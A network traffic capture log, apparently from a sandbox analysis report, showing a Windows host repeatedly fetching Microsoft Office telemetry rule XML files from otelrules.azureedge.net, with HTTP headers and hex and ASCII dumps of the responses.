2024-11-23 14:38:03 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:02 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:02 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: e3da2723-301e-0051-6021-3d38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143802Z-178bfbc474bbbqrhhC1NYCvw7400000004vg00000000063m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:03 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	49863	13.107.246.63	443	7204	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:02 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:02 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 0cd55988-601e-003e-4d0c-3d3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143802Z-178bfbc474bpnd5vhC1NYC4vr400000004p0000000004nqw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:03 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:04 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:04 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: c6f64b36-301e-0000-4706-3deecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143804Z-178bfbc474btrnf9hC1NYCb80g00000004r000000000chd7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:04 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:04 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:05 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143805Z-178bfbc474bw8bwphC1NYC38b400000004ag00000000h2xq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:05 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:05 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:05 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 161730be-201e-0051-3520-3d7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143805Z-178bfbc474bvjk8shC1NYC83ns00000004f00000000078ce x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:05 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:05 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:05 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 8d0ecd0b-301e-0020-617e-3b6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143805Z-174c587ffdfldtt2hC1TEBwv9c00000002w000000000d14w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:05 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:05 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:05 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: cb31e276-601e-00ab-1151-3c66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143805Z-15b8b599d88hr8sfhC1TEBbca400000002xg00000000bvkv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:05 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:06 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:07 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 16dd49bc-d01e-0066-804e-3cea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143807Z-178bfbc474bwh9gmhC1NYCy3rs00000004rg0000000046da x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:07 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:06 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:07 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: f421f7ab-401e-0029-142f-3c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143807Z-178bfbc474bw8bwphC1NYC38b400000004cg00000000c47b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:07 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:07 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:07 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 9064b291-801e-0048-1d16-3df3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143807Z-178bfbc474bh5zbqhC1NYCkdug00000004e000000000gw4f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:07 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:07 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:07 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 110996dd-801e-0048-7360-3bf3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143807Z-178bfbc474bwh9gmhC1NYCy3rs00000004r0000000006dg7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:07 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
